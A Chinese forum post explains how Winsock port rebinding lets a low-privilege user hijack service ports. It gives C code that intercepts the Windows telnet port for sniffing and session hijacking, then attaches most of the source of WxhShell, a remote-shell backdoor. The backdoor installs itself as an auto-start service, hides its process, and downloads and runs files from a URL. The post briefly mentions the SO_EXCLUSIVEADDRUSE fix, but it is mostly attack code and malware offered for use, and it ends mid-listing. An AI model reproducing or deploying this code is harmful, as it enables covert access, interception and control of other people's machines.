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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]F"P3':  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >U.7>K V&  
@YVla !5O@  
  saddr.sin_family = AF_INET; ( G~ME>  
_C=01 %/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _88X-~.  
zDBm^ s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s )Xz}QPK.  
TrNh,5+b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %_G '#Bn<  
Vh^ :.y   
  这意味着什么?意味着可以进行如下的攻击: RRro.r,  
lR/Uboyy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VtMnLF Mw  
R2Lq??XA=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  N!Xn)J  
Od~ e*gA8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3EH@tlTl  
BjHp3-A'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $oJjgAxcZ  
qiq=v)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a p(PI?]X  
o?+?@Xb'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \=$G94%  
HG)$ W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y/LS(b*  
x TqP`ljX  
  #include >[~`rOU*|Y  
  #include @1qdnU  
  #include ]AZCf`7/?  
  #include    }2^qM^,0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bM }zGFt  
  int main() =$T[  
  { jkAru_C  
  WORD wVersionRequested; =`2jnvx  
  DWORD ret; \?|^w.  
  WSADATA wsaData; >>M7#hmt  
  BOOL val; 'Tskx  
  SOCKADDR_IN saddr; o=PW)37>  
  SOCKADDR_IN scaddr; -FrK'!\  
  int err; uZ+"-Ig  
  SOCKET s; &i6JBZ#~,  
  SOCKET sc; A<(Fn_ &W  
  int caddsize; /( 9.Fqe(  
  HANDLE mt; mnw(x#%P  
  DWORD tid;   `Gx 5=Bm;  
  wVersionRequested = MAKEWORD( 2, 2 ); |oQhtk8.  
  err = WSAStartup( wVersionRequested, &wsaData ); m 0Uu2Z4  
  if ( err != 0 ) { p^Z|$aZZ  
  printf("error!WSAStartup failed!\n"); [.$/o}  
  return -1; p9!jM\(  
  } ')iyD5/4  
  saddr.sin_family = AF_INET; ?;Da%VS3  
   @RCZ![XYWg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1\AcceJ|(w  
_`Y%Y6O1/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1c*:" k  
  saddr.sin_port = htons(23); twt's,dO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WpMm%G~'4t  
  { '5A&c(  
  printf("error!socket failed!\n"); _bv9/#tR  
  return -1; z uo:yaO  
  }  B`vC>  
  val = TRUE; @PK 1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iQgr8[ SFf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) + (`.pa z@  
  { %WqUZ+yy  
  printf("error!setsockopt failed!\n"); vrh2}biCR  
  return -1; U.=TjCW  
  } U} Pr1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B7S)L#l_\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bU}l*"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Moi>Dp  
hVCxwTg^X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e?\hz\^  
  { mZ0_^  
  ret=GetLastError(); 8M]QDgd.  
  printf("error!bind failed!\n"); }0>\%C  
  return -1; vq\L9$WJ  
  } ?5EMDawt  
  listen(s,2); W@+ge]9m&  
  while(1) 0Ca/[_  
  { h?fp(  
  caddsize = sizeof(scaddr); @udc/J$  
  //接受连接请求 =(bTS n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \_)mWK,h  
  if(sc!=INVALID_SOCKET) p77=~s  
  { '*`1uomeo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zQB1C  
  if(mt==NULL) oHF,k  
  { 4F!%mMq  
  printf("Thread Creat Failed!\n"); <2LUq@Pg  
  break; > lI2r}  
  } /8,cF7XL*  
  } II\}84U2 .  
  CloseHandle(mt); ?9T,sX:  
  } R[#B|$  
  closesocket(s); R$">  
  WSACleanup(); KB{/L5  
  return 0; A>)W6|m|  
  }   oJc7a z  
  DWORD WINAPI ClientThread(LPVOID lpParam) rT;_"y}  
  {  ,0i72J  
  SOCKET ss = (SOCKET)lpParam; MB6lKLy6~  
  SOCKET sc; ,fhwDqR ?  
  unsigned char buf[4096]; DtZ7UX\P  
  SOCKADDR_IN saddr; m$g{&  
  long num; =7S\-{  
  DWORD val; ;9)=~)  
  DWORD ret; :Yi 4Ia  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "msPH<D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w-Q=oEt  
  saddr.sin_family = AF_INET; R78P](1\>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ! OOOc  
  saddr.sin_port = htons(23); /~g.j1g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d:h X3  
  { yQFZRDV~  
  printf("error!socket failed!\n"); g&/r =U  
  return -1; l 1BAW$  
  } +1eb@b X  
  val = 100; wFJ*2W:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y )7;"3Q<  
  { = d!YM6G  
  ret = GetLastError(); C`aUitL}  
  return -1; OjK+`D_C  
  } Tq%##  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~-A"M_n ?  
  { =05jjR1  
  ret = GetLastError(); Qqp=  
  return -1; Nu><r  
  } 3IoN.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) irn }.e  
  { Eq5X/Hx  
  printf("error!socket connect failed!\n"); 0}\8,U  
  closesocket(sc); k[1w] l8  
  closesocket(ss); {dvsZJj  
  return -1; eM^Y  
  } ,(kaC.Em  
  while(1) J^mm"2  
  { oho~?.F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WAVEwA`r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iv6bXV'N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tk+t3+  
  num = recv(ss,buf,4096,0); .b<wNUzP  
  if(num>0) l R^W*w4y  
  send(sc,buf,num,0); zzX9Q:  
  else if(num==0) {<2q  
  break; l, -q:8  
  num = recv(sc,buf,4096,0); w)}@svv"  
  if(num>0) V&d?4i4/Q  
  send(ss,buf,num,0); =CL h<&  
  else if(num==0) #3-hE  
  break; C+-sf  
  } q94*2@KV  
  closesocket(ss); 2VkA!o4nP  
  closesocket(sc); K$-|7tJon  
  return 0 ; LhKUZX,P8  
  } B_0]$D0 ^  
?xo<Fv  
ZIaFvm&q7Z  
========================================================== ?M04 cvm  
-raZ6?Zjc  
下边附上一个代码,,WXhSHELL 5:l"*  
dg;E,'e_ p  
========================================================== P~@I`r567  
'WoB\y569  
#include "stdafx.h" <}AmzeHr+  
OJ}aN>k  
#include <stdio.h> mtNB09E(  
#include <string.h> 62>/0_m5  
#include <windows.h> w6'8L s  
#include <winsock2.h> o6S`7uwJ*/  
#include <winsvc.h> 4cAx9bqA  
#include <urlmon.h> [Ny'vAHOj  
pEiq;2{~Yn  
#pragma comment (lib, "Ws2_32.lib") 5K|s]Y;  
#pragma comment (lib, "urlmon.lib") `,6^eLU  
)h;zH,DA[3  
#define MAX_USER   100 // 最大客户端连接数 &0J/V>k  
#define BUF_SOCK   200 // sock buffer 6X$iTJ[\x  
#define KEY_BUFF   255 // 输入 buffer fU4{4M+9"  
'59l.  
#define REBOOT     0   // 重启 liVDBbS_A?  
#define SHUTDOWN   1   // 关机 l78 :.  
A Zv| |8p  
#define DEF_PORT   5000 // 监听端口 6 ZVD<C:\  
S3YAc4  
#define REG_LEN     16   // 注册表键长度 "QV1G'  
#define SVC_LEN     80   // NT服务名长度 SrXuiiK  
q^b_'We_9  
// 从dll定义API z0 _/JwJn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zKaEh   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Redxg.P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^s?i&K,!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {>.qo<k  
XO J@-^BX  
// wxhshell配置信息 axd9b,  
struct WSCFG { ]\:l><  
  int ws_port;         // 监听端口 PX,fg5s\b  
  char ws_passstr[REG_LEN]; // 口令 7:&a,nU  
  int ws_autoins;       // 安装标记, 1=yes 0=no \E EU G^T  
  char ws_regname[REG_LEN]; // 注册表键名 NKw}VW'|  
  char ws_svcname[REG_LEN]; // 服务名 OGU#%5"<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lV2MRxI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )1]LoEdm`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2&U<Wiu\}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Px"K5c*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DZ0\pp?S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &E8fd/s= k  
.s<tQU  
}; , MU9p*  
aV?r%'~Z  
// default Wxhshell configuration Jl,\^)DSw  
struct WSCFG wscfg={DEF_PORT, ] mvVX31T  
    "xuhuanlingzhe", iMOf];O)  
    1, TZk.h8  
    "Wxhshell", lpeo^Y}N  
    "Wxhshell", >.#tNFAs  
            "WxhShell Service", 'P~6_BW  
    "Wrsky Windows CmdShell Service", (Zu V5|N  
    "Please Input Your Password: ", ` G.:G/b%H  
  1, <2R xyoDL6  
  "http://www.wrsky.com/wxhshell.exe", U*em)/9  
  "Wxhshell.exe" Voc&T+A m  
    }; 9 TW  
TVFxEV7Fx  
// 消息定义模块 p=J9N-EM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,<?M/'4}G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BXo9s~5Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6u v'{  
char *msg_ws_ext="\n\rExit."; Fgg4QF  
char *msg_ws_end="\n\rQuit."; _d/ZaCx'i  
char *msg_ws_boot="\n\rReboot..."; ,@*`2I>`  
char *msg_ws_poff="\n\rShutdown..."; WP0{%  
char *msg_ws_down="\n\rSave to "; H0i\#)Xs  
) BLoj:gYn  
char *msg_ws_err="\n\rErr!"; &;k`3`MC~w  
char *msg_ws_ok="\n\rOK!"; %epK-q9[  
y7# 4Mcc`~  
char ExeFile[MAX_PATH]; a'ODm6#  
int nUser = 0; I Ux svW+  
HANDLE handles[MAX_USER]; b(H) 8#C  
int OsIsNt; q! U'DDEP  
7?JcB?G4  
SERVICE_STATUS       serviceStatus; }D eW2Jp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j>OB<4?.+  
/I&b5Vp  
// 函数声明 xF3H\`{4x  
int Install(void); /q8?xP.   
int Uninstall(void); >w=xGb7  
int DownloadFile(char *sURL, SOCKET wsh); D?"TcA  
int Boot(int flag); }~28UXb23  
void HideProc(void); >xE{& ):  
int GetOsVer(void); /1q] D8  
int Wxhshell(SOCKET wsl); mD p|EXN  
void TalkWithClient(void *cs); Z;JZ<vEt92  
int CmdShell(SOCKET sock); 9#@CmiIhy  
int StartFromService(void); )ozN{&B6  
int StartWxhshell(LPSTR lpCmdLine); 0Ti>PR5M  
;"/ "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'u2Qq"d+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -m~[z  
M^^u{);q  
// 数据结构和表定义 LvNk:99:<  
SERVICE_TABLE_ENTRY DispatchTable[] = E qva] 4  
{ \l leO|m  
{wscfg.ws_svcname, NTServiceMain}, qlg~W/  
{NULL, NULL} f V.(v&  
}; AcF;5h  
~U~4QQV  
// 自我安装 7M1*SC  
int Install(void) G#! j`  
{ jjm-%W@  
  char svExeFile[MAX_PATH]; KV0e^c;  
  HKEY key; +:d))r=n  
  strcpy(svExeFile,ExeFile); LV 94i  
f:TC;K  
// 如果是win9x系统,修改注册表设为自启动 QE5 85s5  
if(!OsIsNt) { k>Qr 14F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c"J(? 1O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !`='K +  
  RegCloseKey(key); I=^%l7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9=I(AYG{m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Fg&<Be}Jx  
  RegCloseKey(key); }~-)31e'`  
  return 0; k>n^QHM  
    } *.EtdcRo[  
  } (vjQF$Hp  
} ~eL7=G@{  
else { tO?*x/XC{  
9&'Mb[C`"  
// 如果是NT以上系统,安装为系统服务 xMhR;lKY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #D+Fq^="P  
if (schSCManager!=0) ^m8\fCA*  
{ b)w3 G%Xx  
  SC_HANDLE schService = CreateService m$hSL4 N  
  ( n]coqJ  
  schSCManager, HA"dw2 |  
  wscfg.ws_svcname, ,bmTB ZV  
  wscfg.ws_svcdisp, G68N@g  
  SERVICE_ALL_ACCESS, p|Rxy"}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uNhAfZ  
  SERVICE_AUTO_START, E4y"$U%.  
  SERVICE_ERROR_NORMAL,  |Be.r{l  
  svExeFile, 9R;s;2$.  
  NULL, 9y]$c1  
  NULL, ?QVD)JI*k  
  NULL, Cv$TNkP*  
  NULL, cS ];?tqrA  
  NULL 4N` MY8',  
  ); #2HygS  
  if (schService!=0) aeBth{  
  { 4VU5}"<  
  CloseServiceHandle(schService); KI>7h.t  
  CloseServiceHandle(schSCManager); sCRBKCR?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <U,T*Ql1x  
  strcat(svExeFile,wscfg.ws_svcname); s^KxAw_IV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |+`hSA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W+K=M*^D;c  
  RegCloseKey(key); Q}fAAZ&7h  
  return 0; Vj?.'(  
    } Qn*c<:  
  } T. ` %1S  
  CloseServiceHandle(schSCManager); >9u6@  
} !^"hYp`  
} Ugdm"  
~C!vfPC  
return 1; B|GJboQ  
} Fsq S)  
IG9Q~7@  
// 自我卸载 [?IERE!xQ  
int Uninstall(void) dNJK[1e6  
{ <&L;9fr  
  HKEY key; =v;-{oN!  
ZA9']u%EJ  
if(!OsIsNt) { W>DpDrO4ml  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +j@|D@z  
  RegDeleteValue(key,wscfg.ws_regname); M2zfN ru  
  RegCloseKey(key); dU&.gFw1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >$Fc=~;Ba  
  RegDeleteValue(key,wscfg.ws_regname); T:!sfhrZ~<  
  RegCloseKey(key); '}rDmt~  
  return 0; G0(c@FBK  
  } /d{L]*v)]  
} +qz)KtJS  
} 9lD,aOb  
else { l[fNftT-  
%MjPQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yh0|f94m  
if (schSCManager!=0) %*19S.=l  
{ }zobIfIF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &J~S  $  
  if (schService!=0) %~W}262  
  { W#lvH=y  
  if(DeleteService(schService)!=0) { FQ-(#[  
  CloseServiceHandle(schService); ]nQ$:%HP  
  CloseServiceHandle(schSCManager); c~tSt.^WX  
  return 0; _N-7H\hF  
  } `riv`+J{s  
  CloseServiceHandle(schService); zEhy0LLm  
  } Z956S$gS  
  CloseServiceHandle(schSCManager); O?2<rbx  
} _+Q$h4t   
} Asn0&Ys4  
H]!y |p  
return 1; 9nG] .@ H  
} $>h#|?*?  
%&] }P;&  
// 从指定url下载文件 R_ 1C+  
int DownloadFile(char *sURL, SOCKET wsh) @"/}Al  
{ KqSa"76R  
  HRESULT hr; P5d@-l%}  
char seps[]= "/"; {&<}*4D  
char *token; k0YsAa#6V  
char *file; hL3,/^;E,  
char myURL[MAX_PATH]; 5{u6qc4FW  
char myFILE[MAX_PATH]; G4{qWa/  
2?r8>#_*  
strcpy(myURL,sURL); r2](~&i2  
  token=strtok(myURL,seps); EIYM0vls(  
  while(token!=NULL) U.)G #B  
  { !}P FiT^  
    file=token; GY",AL8f  
  token=strtok(NULL,seps); kIfb!  
  } \G=E%aK  
=Hx~]1  
GetCurrentDirectory(MAX_PATH,myFILE); N*SgP@Bt  
strcat(myFILE, "\\"); /SUV'J)  
strcat(myFILE, file); nM; G; T  
  send(wsh,myFILE,strlen(myFILE),0); 28)TXRr-  
send(wsh,"...",3,0); b "Mq7&cf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~r!5d@f.6  
  if(hr==S_OK) -+9x 0-P  
return 0; wrO>#`Z  
else vW{cB y  
return 1; tT8jC:oVa  
t@u\ 4bv  
} cV{ZD q  
`HM3YC  
// 系统电源模块 pNqf2CnnT  
int Boot(int flag)  ft'iv  
{ ,SyUr/D  
  HANDLE hToken; #LN I&5  
  TOKEN_PRIVILEGES tkp; \i,cL)HM  
_RW[]MN3*  
  if(OsIsNt) { psZeu*/r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bF KP V%`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jccW8g~ ~  
    tkp.PrivilegeCount = 1; y\_S11{v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N#u8{\|8]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l'W+^  
if(flag==REBOOT) { lz)"zV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g&Z7h4!\  
  return 0; NVj J/  
} }m9LyT=~$  
else { Ke ?uE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VRX" @uCD  
  return 0; bS<@Rd{g  
} K7hf m%`N  
  } }K>H S\e  
  else { ~t:b<'/  
if(flag==REBOOT) { Qsntf.fT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P*PL6UQ  
  return 0; f^)uK+:.  
} +2zuIW.  
else { nF'xV44"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2\w=U,;(  
  return 0; 8`G{1lr4o  
} &Bn; Vi  
} ^@Qi&g`lr?  
VWshFI  
return 1; &{ {DS  
} cY2-T#rL  
N}Ks[2  
// win9x进程隐藏模块 }iSakq'  
void HideProc(void) |"yf@^kdC  
{ -m160k3  
aE BP9RX}z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eh(Q^E;*  
  if ( hKernel != NULL ) ,0Zn hS)kq  
  { M_1Tx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <KwK tgzs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uk:.2%S2  
    FreeLibrary(hKernel); cU*lB!  
  } _g 4 /%  
(L5'rNk  
return; eFSC^  
} AD@PNM  
*yaX:,'\$  
// 获取操作系统版本 .gN$N=7<  
int GetOsVer(void) VxN64;|=  
{ (b%y$D  
  OSVERSIONINFO winfo; S7kT3zB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tin|,jA =  
  GetVersionEx(&winfo); ;a#*|vx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *9vA+uN  
  return 1; ey)u7-O  
  else ZCBPO~&hO'  
  return 0; F:J7|<J^F  
} s$Zq/l$1x  
*e<Eu>fW#&  
// 客户端句柄模块 fcICFReyV  
int Wxhshell(SOCKET wsl) W3/ 7BW`  
{ 5)yOw|Bd  
  SOCKET wsh; "PyWo  
  struct sockaddr_in client; @%<?GNSO  
  DWORD myID; ~g1, !Wl  
X B*}P  
  while(nUser<MAX_USER) m*!f%}T  
{ 4C1FPrh  
  int nSize=sizeof(client); k=7Gr;;l=p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0i\',h}9  
  if(wsh==INVALID_SOCKET) return 1; 8*yo7q&  
WE[m@K[CR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UQ3@@:L_  
if(handles[nUser]==0) kwHqvO!G  
  closesocket(wsh); VkpHzr[k  
else b(RB G  
  nUser++; 0[lsoYUq  
  } Px?Ao0)Z,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'qV3O+@MF  
HmExfW  
  return 0; A/"}Y1#qX\  
} -~][0PVL9  
NQC3!=pQ}Y  
// 关闭 socket j`R<90~/  
void CloseIt(SOCKET wsh) C.>  
{ i<m$#6 <Z  
closesocket(wsh); h}|6VJ@.  
nUser--; 1s`)yu^`v  
ExitThread(0); U,<]J*b(@4  
} C ]'g:93L  
qWO]s=V!  
// 客户端请求句柄 nlzW.OLM  
void TalkWithClient(void *cs) \&iil =H8!  
{ # SQvXMT  
{y-2  
  SOCKET wsh=(SOCKET)cs; 1TNz&=e  
  char pwd[SVC_LEN]; ~XUOWY75  
  char cmd[KEY_BUFF]; uxO J3  
char chr[1]; K 3Yw8t2J  
int i,j; yW\XNX  
{/d4PI7)tK  
  while (nUser < MAX_USER) { {7?9jEj  
7]|zkjgI  
if(wscfg.ws_passstr) { l(%k6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > BNw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b]*X<,p  
  //ZeroMemory(pwd,KEY_BUFF); mz\NFC<  
      i=0; R-pH Quu3  
  while(i<SVC_LEN) { gg-};0P-  
?MC(}dF0  
  // 设置超时 B6bOEPQ  
  fd_set FdRead; ptpW41t}^  
  struct timeval TimeOut; |3{+6cg  
  FD_ZERO(&FdRead); f.oP   
  FD_SET(wsh,&FdRead);  {l2N&  
  TimeOut.tv_sec=8; f=ac I|w  
  TimeOut.tv_usec=0; 2{ o0@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ -ISR7D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |2)Sd[ q  
dEASvD'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lC#RNjDp/~  
  pwd=chr[0]; G02ox5X  
  if(chr[0]==0xd || chr[0]==0xa) { !4R>O6k   
  pwd=0; RF_[?O)Q  
  break; W+gpr|R2  
  } 4xm&pQo{V6  
  i++; '>3`rsu  
    } =}JBA>q(  
<jeh`g  
  // 如果是非法用户,关闭 socket X Orcygb2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y4#y34 We  
} &<au/^F  
_(C^[:s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sV u k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 90~*dNk  
-~ 0] 7Cpl  
while(1) { ?g2zmI!U  
{odA[H  
  ZeroMemory(cmd,KEY_BUFF); }A|))Ao|  
Wo{K}  
      // 自动支持客户端 telnet标准   0G5'Y;8  
  j=0; x>%joKY[  
  while(j<KEY_BUFF) { %>Bko,ET  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~m=$VDWm  
  cmd[j]=chr[0]; ~r<p@k=.#0  
  if(chr[0]==0xa || chr[0]==0xd) { q7,^E`5EgU  
  cmd[j]=0; <_9!  
  break; nfX12y_SXL  
  } 0q{[\51*  
  j++; R2w`Y5#`  
    } &5u BNpH  
Y0@yD#,0~  
  // 下载文件 dK.R[ aQ  
  if(strstr(cmd,"http://")) { 6xarYh(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iJ)0Y~  
  if(DownloadFile(cmd,wsh)) &<Mt=(qY1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '[nmFCG%m*  
  else [Tb\woU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3jF|Ic  
  } -#aZF2z   
  else { 'M8aW!~  
Wr5Q5s)c  
    switch(cmd[0]) { hK(tPl$  
  x=-0zV  
  // 帮助 H`-=?t  
  case '?': { MiJ6n[iv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K\P!a@>1  
    break; ~:[!Uyp0b  
  } R:/ha(+  
  // 安装 WmNYO,>  
  case 'i': { t?{B_Bf  
    if(Install()) 'T7x@a`b)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e1unzpWN  
    else \ZS TKi?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rB%y6P B  
    break; |SQ|qbe=  
    }  H4:ZTl_$  
  // 卸载 < Dd%  
  case 'r': { QU/fT_ORw  
    if(Uninstall()) Uk,g> LG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LkBZlh_  
    else #~k[6YR 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =&7@<vBpy  
    break; =i>\2J%'R  
    } _s+c+]bO  
  // 显示 wxhshell 所在路径 /L&M,OUcr.  
  case 'p': { cy|%sf`  
    char svExeFile[MAX_PATH]; SfW}"#L>5  
    strcpy(svExeFile,"\n\r"); L-\ =J  
      strcat(svExeFile,ExeFile); "MnSJ 2  
        send(wsh,svExeFile,strlen(svExeFile),0); YT=eVg53  
    break; & Kmy}q  
    } ,Ff n)+  
  // 重启 eA=WGy@IcN  
  case 'b': { q[ d)e6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _KN/@(+F  
    if(Boot(REBOOT)) {.CMD9F[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ei5wel6!  
    else { i#W*'   
    closesocket(wsh); C\Vg{&'  
    ExitThread(0); [2 zt ^  
    } 8IGt4UF&?  
    break; _1|$P|$P.  
    } /L v1$~  
  // 关机 dMvp&M\\'  
  case 'd': { nY_?Jq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + E5=$`  
